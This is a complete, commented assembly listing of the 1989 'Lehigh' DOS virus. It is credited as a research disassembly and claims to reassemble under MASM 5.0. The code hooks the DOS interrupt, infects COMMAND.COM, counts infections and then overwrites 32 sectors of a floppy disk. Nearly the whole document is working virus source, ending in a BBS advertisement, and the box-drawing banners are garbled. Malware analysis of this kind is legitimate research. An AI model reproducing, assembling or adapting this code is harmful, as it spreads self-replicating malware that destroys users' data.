2022-08-21 09:07:57 +00:00
page 65 , 132
title The 'Lehigh' Virus
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͻ
; <20> British Computer Virus Research Centre <20>
; <20> 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England <20>
; <20> Telephone: Domestic 0273-26105, International +44-273-26105 <20>
; <20> <20>
; <20> The 'Lehigh' Virus <20>
; <20> Disassembled by Joe Hirst, July 1989 <20>
; <20> <20>
; <20> Copyright (c) Joe Hirst 1989. <20>
; <20> <20>
; <20> This listing is only to be made available to virus researchers <20>
; <20> or software writers on a need-to-know basis. <20>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͼ
; The disassembly has been tested by re-assembly using MASM 5.0.
CODE SEG MENT BYTE PUBLIC 'CODE'
ASSUME CS : CODE , DS : CODE
; Interrupt 21H routine
BP0010: PUSH AX
PUSH BX
CMP AH , 4BH ; Load function?
JE BP 0020 ; Branch if yes
CMP AH , 4EH ; Find file file?
JE BP 0020 ; Branch if yes
JMP BP 0170 ; Pass interrupt on
; Load or find file function
BP0020: MOV BX , DX ; Get pathname pointer
CMP BYTE PTR [ BX + 1 ], ':' ; Is a disk specified?
JNE BP 0030 ; Branch if not
MOV AL ,[ BX ] ; Get disk letter
JMP BP 0040
; Is there a COMMAND.COM on disk?
BP0030: MOV AH , 19H ; Get current disk function
INT 44H ; DOS service (diverted INT 21H)
ADD AL , 'a' ; Convert to letter
BP0040: PUSH DS
PUSH CX
PUSH DX
PUSH DI
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV BX , OFFSET PATHNM ; Address pathname
MOV [ BX ], AL ; Store disk letter in pathname
MOV DX , BX ; Move pathname address
MOV AX , 3D02H ; Open handle (R/W) function
INT 44H ; DOS service (diverted INT 21H)
JNB BP 0050 ; Branch if no error
JMP BP 0160 ; Restore registers and terminate
; Is COMMAND.COM infected?
BP0050: MOV BX , AX ; Move file handle
MOV AX , 4202H ; Move file pointer function (EOF)
XOR CX , CX ; \ No offset
MOV DX , CX ; /
INT 44H ; DOS service (diverted INT 21H)
MOV DX , AX ; Copy file length
MOV FILELN , AX ; Save file length
SUB DX , 2 ; Address last word of file
MOV AX , 4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV DX , OFFSET BUFFER ; Address read buffer
MOV CX , 2 ; Length to read
MOV AH , 3FH ; Read handle function
INT 44H ; DOS service (diverted INT 21H)
CMP WORD PTR BUFFER , 65A9H ; Is file infected?
JNE BP 0060 ; Branch if not
JMP BP 0080
; Infect COMMAND.COM
BP0060: XOR DX , DX ; \ No offset
MOV CX , DX ; /
MOV AX , 4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV CX , 3 ; Length to read
MOV DX , OFFSET BUFFER ; Address read buffer
MOV DI , DX ; Copy address
MOV AH , 3FH ; Read handle function
INT 44H ; DOS service (diverted INT 21H)
MOV AX ,[ DI + 1 ] ; Get displacement from initial jump
ADD AX , 0103H ; Convert to address for COM file
MOV ENTPTR , AX ; Save file entry address
MOV DX , FILELN ; Get file length
SUB DX , OFFSET ENDADR ; Subtract length of virus
DEC DX ; ...and one more
MOV [ DI ], DX ; Put offset into jump instruction
XOR CX , CX ; Clear high offset for move
MOV AX , 4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV AL , INFCNT ; Get infection count
PUSH AX ; Preserve infection count
MOV BYTE PTR INFCNT , 0 ; Set infection count to zero
MOV CX , OFFSET ENDADR ; \ Get length of virus
INC CX ; /
XOR DX , DX ; Address start of virus
MOV AH , 40H ; Write handle function
INT 44H ; DOS service (diverted INT 21H)
POP AX ; Recover infection count
MOV INFCNT , AL ; Restore original infection count
XOR CX , CX ; \ Address second byte of program
MOV DX , 1 ; /
MOV AX , 4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV AX ,[ DI ] ; Get virus offset
ADD AX , OFFSET BP 0180 ; Add entry point
SUB AX , 3 ; Subtract length of jump instruction
MOV [ DI ], AX ; Replace offset
MOV DX , DI ; Address stored offset
MOV CX , 2 ; Length to write
MOV AH , 40H ; Write handle function
INT 44H ; DOS service (diverted INT 21H)
INC BYTE PTR INFCNT ; Increment infection count
CMP BYTE PTR INFCNT , 4 ; Have we reached target?
JB BP 0070 ; Branch if not
JMP BP 0110 ; Trash disk
; Is disk A or B?
BP0070: MOV BYTE PTR N_AORB , 0 ; Set off "not A or B" switch
CMP BYTE PTR CURDSK , 2 ; Is current disk A or B?
JB BP 0080 ; Branch if yes
MOV BYTE PTR N_AORB , 1 ; Set on "not A or B" switch
BP0080: MOV AH , 3EH ; Close handle function
INT 44H ; DOS service (diverted INT 21H)
CMP BYTE PTR N_AORB , 1 ; Is "not A or B" switch on?
JE BP 0090 ; Branch if yes
JMP BP 0160 ; Restore registers and terminate
; Disk not A or B
BP0090: MOV BYTE PTR N_AORB , 0 ; Set off "not A or B" switch
MOV BX , OFFSET PATHNM ; Address pathname
MOV AL , CURDSK ; Get current disk
ADD AL , 'a' ; Convert to letter
MOV [ BX ], AL ; Store letter in pathname
MOV DX , BX ; Move pathname address
MOV AX , 3D02H ; Open handle (R/W) function
INT 44H ; DOS service (diverted INT 21H)
JNB BP 0100 ; Branch if no error
JMP BP 0160 ; Restore registers and terminate
; Set infection count same as in current program
BP0100: MOV BX , AX
MOV AX , 4202H ; Move file pointer function (EOF)
XOR CX , CX ; \ No offset
MOV DX , CX ; /
INT 44H ; DOS service (diverted INT 21H)
MOV DX , AX ; \ Address back to infection count
SUB DX , 7 ; /
MOV AX , 4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV CX , 1 ; Length to write
MOV DX , OFFSET INFCNT ; Address infection count
MOV AH , 40H ; Write handle function
INT 44H ; DOS service (diverted INT 21H)
MOV AH , 3EH ; Close handle function
INT 44H ; DOS service (diverted INT 21H)
JMP BP 0160 ; Restore registers and terminate
; Trash disk
BP0110: MOV AL , CURDSK ; Get current disk
CMP AL , 2 ; Is disk A or B?
JNB BP 0150 ; Branch if not
MOV AH , 19H ; Get current disk function
INT 44H ; DOS service (diverted INT 21H)
MOV BX , OFFSET PATHNM ; Address pathname
MOV DL ,[ BX ] ; Get drive letter from pathname
CMP DL , 'A' ; Is drive letter 'A'?
JE BP 0120 ; Branch if yes
CMP DL , 'a' ; Is drive letter 'a'?
JE BP 0120 ; Branch if yes
CMP DL , 'b' ; Is drive letter 'b'?
JE BP 0130 ; Branch if yes
CMP DL , 'B' ; Is drive letter 'B'?
JE BP 0130 ; Branch if yes
JMP BP 0160 ; Restore registers and terminate
; Drive A
BP0120: MOV DL , 0 ; Set drive A
JMP BP 0140
; Drive B
BP0130: MOV DL , 1 ; Set drive B
BP0140: CMP AL , DL ; Is this the same as current?
JNE BP 0150 ; Branch if not
JMP BP 0160 ; Restore registers and terminate
; Write lump of BIOS to floppy disk
BP0150: MOV SI , 0FE00H ; \ Address BIOS (?)
MOV DS , SI ; /
MOV CX , 0020H ; Write 32 sectors
MOV DX , 1 ; Start at sector one
INT 26H ; Absolute disk write
POPF
MOV AH , 9 ; Display string function
MOV DX , 1840H
INT 44H ; DOS service (diverted INT 21H)
BP0160: POP DI
POP DX
POP CX
POP DS
BP0170: POP BX
POP AX
JMP CS : INT_21 ; Branch to original Int 21H
; Original Int 21H vector
INT_21 EQU THIS DWORD
DW 138DH ; Int 21H offset
DW 0295H ; Int 21H segment
; Entry point for infected program
BP0180: CALL BP 0190 ; \ Get current address
BP0190: POP SI ; /
SUB SI , 3 ; Address back to BP0180
MOV BX , SI ; \ Address of virus start
SUB BX , OFFSET BP 0180 ; /
PUSH BX ; Save address of virus start
ADD BX , OFFSET FILELN ; Address file length
MOV AH , 19H ; Get current disk function
INT 21H ; DOS service
MOV [ BX - 1 ], AL ; Save current disk
MOV AX ,[ BX ] ; Get file length
ADD AX , 0100H ; Add PSP length
MOV CL , 4 ; \ Convert to paragraphs
SHR AX , CL ; /
INC AX ; Allow for remainder
MOV BX , AX ; Copy paragraphs to keep
MOV AH , 4AH ; Set block function
INT 21H ; DOS service
JNB BP 0200 ; Branch if no error
JMP BP 0220 ; Pass control to host
; Allocate memory for virus
BP0200: MOV CL , 4 ; Bits to move
MOV DX , OFFSET ENDADR ; Length of virus
SHR DX , CL ; Convert to paragraphs
INC DX ; Allow for remainder
MOV BX , DX ; Copy paragraphs for virus
MOV AH , 48H ; Allocate memory function
INT 21H ; DOS service
JNB BP 0210 ; Branch if no error
JMP BP 0220 ; Pass control to host
; Install virus in memory
BP0210: PUSH ES
PUSH AX ; Preserve allocated memory segment
MOV AX , 3521H ; Get Int 21H function
INT 21H ; DOS service
MOV [ SI - 4 ], BX ; Save Int 21H offset
MOV [ SI - 2 ], ES ; Save Int 21H segment
POP ES ; Recover allocated memory segment
PUSH SI
SUB SI , OFFSET BP 0180 ; Address back to start of virus
XOR DI , DI ; Target start of new area
MOV CX , OFFSET ENDADR ; \ Length of virus
INC CX ; /
REPZ MOVSB ; Copy virus to new area
POP SI
PUSH DS
MOV DX ,[ SI - 4 ] ; Get Int 21H offset
MOV AX ,[ SI - 2 ] ; \ Set DS to Int 21H segment
MOV DS , AX ; /
MOV AX , 2544H ; Set Int 44H function
INT 21H ; DOS service
PUSH ES ; \ Set DS to ES
POP DS ; /
XOR DX , DX ; Interrupt 21H routine (BP0010)
MOV AX , 2521H ; Set Int 21H function
INT 44H ; DOS service (diverted INT 21H)
POP DS
POP ES
BP0220: POP BX
PUSH ENTPTR [ BX ] ; Push COM file entry address
RET ; ...and return to it
PATHNM DB 'b:\command.com' , 0 ; Pathname
BUFFER DB 7FH , 58H , 0BH , 0 , 0 ; Read buffer
ENTPTR DW 0CB0H ; File entry address
N_AORB DB 0 ; "Not A or B" switch
INFCNT DB 0 ; Infection count
DB 0
CURDSK DB 0 ; Current disk
FILELN DW 5AAAH ; File length
DW 65A9H ; Infection indicator
ENDADR EQU $ - 1
CODE ENDS
END
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > and Remember Don't Forget to Call <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>